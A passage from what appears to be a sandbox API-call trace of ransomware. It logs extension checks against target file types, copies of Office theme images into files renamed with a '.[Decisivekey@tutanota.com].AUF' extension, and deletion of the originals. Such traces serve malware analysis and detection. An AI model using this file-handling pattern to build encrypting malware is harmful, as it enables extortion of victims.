lpString2="GIF") returned -1 [0212.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0212.812] lstrlenW (lpString=".dbf") returned 4 [0212.812] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0212.812] lstrlenW (lpString=".1cd") returned 4 [0212.812] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0212.812] lstrlenW (lpString=".jpg") returned 4 [0212.812] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.812] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0212.812] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0212.812] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0212.813] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=1232) returned 1 [0212.813] CloseHandle (hObject=0x1e0) returned 1 [0212.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 0x20 [0212.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.813] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0212.813] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.813] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.813] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0213.019] GetLastError () returned 0x0 [0213.019] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x4d0, lpOverlapped=0x0) returned 1 [0213.050] WriteFile (in: hFile=0x210, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x4e0, lpOverlapped=0x0) returned 1 [0213.051] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0213.051] WriteFile (in: hFile=0x210, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0213.051] SetEndOfFile (hFile=0x210) returned 1 [0213.051] CloseHandle (hObject=0x210) returned 1 [0213.051] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.051] SetEndOfFile (hFile=0x1e0) returned 1 [0213.052] CloseHandle (hObject=0x1e0) returned 1 [0213.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0213.052] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 1 [0213.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0213.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0213.052] lstrlenW (lpString=".doc") returned 4 [0213.052] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0213.052] lstrlenW (lpString=".docx") returned 5 [0213.052] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0213.052] lstrlenW (lpString=".pdf") returned 4 [0213.052] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0213.052] lstrlenW (lpString=".xls") returned 4 [0213.052] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0213.052] lstrlenW (lpString=".xlsx") returned 5 [0213.053] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0213.053] lstrlenW (lpString=".ppt") returned 4 [0213.053] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0213.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0213.053] lstrlenW (lpString=".zip") returned 4 [0213.053] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0213.053] lstrlenW (lpString=".rar") returned 4 [0213.053] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0213.053] lstrlenW (lpString=".bz2") returned 4 [0213.053] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0213.053] lstrlenW (lpString=".7z") returned 3 [0213.053] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0213.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0213.053] lstrlenW (lpString=".dbf") returned 4 [0213.053] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0213.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0213.053] lstrlenW (lpString=".1cd") returned 4 [0213.053] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0213.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0213.053] lstrlenW (lpString=".jpg") returned 4 [0213.053] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0213.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0213.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0213.053] lstrlenW (lpString=".doc") returned 4 [0213.053] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0213.053] lstrlenW (lpString=".docx") returned 5 [0213.053] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0213.053] lstrlenW (lpString=".pdf") returned 4 [0213.053] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0213.053] lstrlenW (lpString=".xls") returned 4 [0213.053] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0213.053] lstrlenW (lpString=".xlsx") returned 5 [0213.053] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0213.053] lstrlenW (lpString=".ppt") returned 4 [0213.053] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0213.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0213.053] lstrlenW (lpString=".zip") returned 4 [0213.053] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0213.053] lstrlenW (lpString=".rar") returned 4 [0213.053] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0213.053] lstrlenW (lpString=".bz2") returned 4 [0213.053] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0213.053] lstrlenW (lpString=".7z") returned 3 [0213.053] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0213.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0213.053] lstrlenW (lpString=".dbf") returned 4 [0213.053] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0213.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0213.053] lstrlenW (lpString=".1cd") returned 4 [0213.053] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0213.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0213.054] lstrlenW (lpString=".jpg") returned 4 [0213.054] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0213.054] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0213.054] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0213.054] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0213.054] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=1379) returned 1 [0213.054] CloseHandle (hObject=0x1e0) returned 1 [0213.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 0x20 [0213.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.054] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0213.054] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.054] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.054] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0213.418] GetLastError () returned 0x0 [0213.418] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x563, lpOverlapped=0x0) returned 1 [0213.430] WriteFile (in: hFile=0x208, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x570, lpOverlapped=0x0) returned 1 [0213.430] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0213.430] WriteFile (in: hFile=0x208, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0213.431] SetEndOfFile (hFile=0x208) returned 1 [0213.431] CloseHandle (hObject=0x208) returned 1 [0213.431] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.431] SetEndOfFile (hFile=0x1e0) returned 1 [0213.432] CloseHandle (hObject=0x1e0) returned 1 [0213.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0213.437] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 1 [0213.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0213.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0213.437] lstrlenW (lpString=".doc") returned 4 [0213.438] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0213.438] lstrlenW (lpString=".docx") returned 5 [0213.438] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0213.438] lstrlenW (lpString=".pdf") returned 4 [0213.438] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0213.438] lstrlenW (lpString=".xls") returned 4 [0213.438] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0213.438] lstrlenW (lpString=".xlsx") returned 5 [0213.438] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0213.438] lstrlenW (lpString=".ppt") returned 4 [0213.438] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0213.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0213.438] lstrlenW (lpString=".zip") returned 4 [0213.438] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0213.438] lstrlenW (lpString=".rar") returned 4 [0213.438] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0213.438] lstrlenW (lpString=".bz2") returned 4 [0213.438] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0213.438] lstrlenW (lpString=".7z") returned 3 [0213.438] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0213.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0213.438] lstrlenW (lpString=".dbf") returned 4 [0213.438] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0213.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0213.438] lstrlenW (lpString=".1cd") returned 4 [0213.438] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0213.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0213.438] lstrlenW (lpString=".jpg") returned 4 [0213.438] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0213.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0213.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0213.438] lstrlenW (lpString=".doc") returned 4 [0213.438] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0213.438] lstrlenW (lpString=".docx") returned 5 [0213.438] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0213.438] lstrlenW (lpString=".pdf") returned 4 [0213.438] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0213.438] lstrlenW (lpString=".xls") returned 4 [0213.438] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0213.438] lstrlenW (lpString=".xlsx") returned 5 [0213.438] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0213.438] lstrlenW (lpString=".ppt") returned 4 [0213.438] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0213.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0213.438] lstrlenW (lpString=".zip") returned 4 [0213.438] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0213.438] lstrlenW (lpString=".rar") returned 4 [0213.438] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0213.438] lstrlenW (lpString=".bz2") returned 4 [0213.439] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0213.439] lstrlenW (lpString=".7z") returned 3 [0213.439] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0213.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0213.439] lstrlenW (lpString=".dbf") returned 4 [0213.439] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0213.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0213.439] lstrlenW (lpString=".1cd") returned 4 [0213.439] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0213.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0213.439] lstrlenW (lpString=".jpg") returned 4 [0213.439] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0213.439] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0213.439] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0213.439] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0213.439] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=37112) returned 1 [0213.439] CloseHandle (hObject=0x1e0) returned 1 [0213.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 0x20 [0213.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.439] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0213.440] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.440] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.440] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0213.440] GetLastError () returned 0x0 [0213.440] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x90f8, lpOverlapped=0x0) returned 1 [0213.452] WriteFile (in: hFile=0x208, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x9100, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x9100, lpOverlapped=0x0) returned 1 [0213.453] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0213.453] WriteFile (in: hFile=0x208, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0213.454] SetEndOfFile (hFile=0x208) returned 1 [0213.454] CloseHandle (hObject=0x208) returned 1 [0213.454] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.454] SetEndOfFile (hFile=0x1e0) returned 1 [0213.454] CloseHandle (hObject=0x1e0) returned 1 [0213.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0213.455] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 1 [0213.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0213.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0213.455] lstrlenW (lpString=".doc") returned 4 [0213.455] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0213.455] lstrlenW (lpString=".docx") returned 5 [0213.455] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0213.455] lstrlenW (lpString=".pdf") returned 4 [0213.455] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0213.455] lstrlenW (lpString=".xls") returned 4 [0213.455] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0213.455] lstrlenW (lpString=".xlsx") returned 5 [0213.455] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0213.455] lstrlenW (lpString=".ppt") returned 4 [0213.455] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0213.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0213.455] lstrlenW (lpString=".zip") returned 4 [0213.455] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0213.455] lstrlenW (lpString=".rar") returned 4 [0213.455] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0213.455] lstrlenW (lpString=".bz2") returned 4 [0213.455] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0213.455] lstrlenW (lpString=".7z") returned 3 [0213.455] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0213.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0213.455] lstrlenW (lpString=".dbf") returned 4 [0213.456] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0213.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0213.456] lstrlenW (lpString=".1cd") returned 4 [0213.456] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0213.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0213.456] lstrlenW (lpString=".jpg") returned 4 [0213.456] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0213.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0213.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0213.456] lstrlenW (lpString=".doc") returned 4 [0213.456] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0213.456] lstrlenW (lpString=".docx") returned 5 [0213.456] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0213.456] lstrlenW (lpString=".pdf") returned 4 [0213.456] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0213.456] lstrlenW (lpString=".xls") returned 4 [0213.456] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0213.456] lstrlenW (lpString=".xlsx") returned 5 [0213.456] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0213.456] lstrlenW (lpString=".ppt") returned 4 [0213.456] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0213.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0213.456] lstrlenW (lpString=".zip") returned 4 [0213.456] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0213.456] lstrlenW (lpString=".rar") returned 4 [0213.456] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0213.456] lstrlenW (lpString=".bz2") returned 4 [0213.456] lstrcmpiW (lpString1=".bz2", 